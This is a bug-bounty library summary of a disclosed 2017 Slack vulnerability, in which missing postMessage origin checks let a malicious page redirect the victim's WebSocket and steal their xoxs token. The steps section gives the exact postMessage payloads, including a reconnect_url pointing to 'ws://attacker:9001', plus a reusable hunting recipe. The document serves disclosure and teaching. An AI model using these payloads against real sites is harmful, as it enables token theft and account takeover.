# Hacking Slack using postMessage and WebSocket-reconnect to steal your precious token

Slack's postMessage listeners lacked origin checks, letting a malicious page send reconnect_url and goodbye events to redirect the victim's WebSocket and leak their xoxs token.

- Payout: $3,000
- Severity: high
- Program: Slack
- Credited: Frans Rosén
- Disclosed: 2017-02-28
- Write-up quality: 8/10
- Original: https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-detectify-com-2017-02-28-hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:websocket technique:js-analysis technique:source-review vuln:account-takeover vuln:auth-bypass

**Target:** Slack web app postMessage listeners and /call window WebSocket
**Root cause:** postMessage handlers in the main Slack window and the /call window did not validate evt.origin or evt.source, so any cross-origin page could invoke internal message handlers including reconnect_url and goodbye.
**Steps:**
1. Open https://slack.com/call/me in a new window from attacker page; it redirects to the victim's team instance and exposes the postMessage listener.
2. Host a WebSocket server that logs the `token` query param on connect.
3. Send `b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://attacker:9001/websocket/AAA"}}, "*")` to set the reconnect URL.
4. Repeatedly send `b.postMessage({..."msg":{"reply_to":false,"type":"goodbye"}}, "*")` every 2s to force disconnect.
5. Slack reconnects to attacker WebSocket, sending the xoxs token in the GET query; poll token.txt and use token against auth.test.
**How found:** Noticed via Chrome Elements > Event Listeners that Slack registered a window message listener; reading the handler showed no evt.origin/evt.source validation. Explored the /call window's message handlers, found reconnect_url and goodbye events, and discovered /call/me and my.slack.com redirect to reach any victim's team.
**Exploitation:** Victim visits attacker page; attacker opens slack.com/call/me popup, sets reconnect_url to attacker WebSocket, forces goodbye to trigger reconnect, and captures the xoxs token from the WebSocket handshake query string, granting full account access.
**Insight:** When a postMessage listener lacks origin checks, enumerate the full message_type dispatch table for state-changing handlers like reconnect_url; pair with a redirect endpoint (e.g. /call/me) that resolves to the victim's tenant so the attack works cross-team.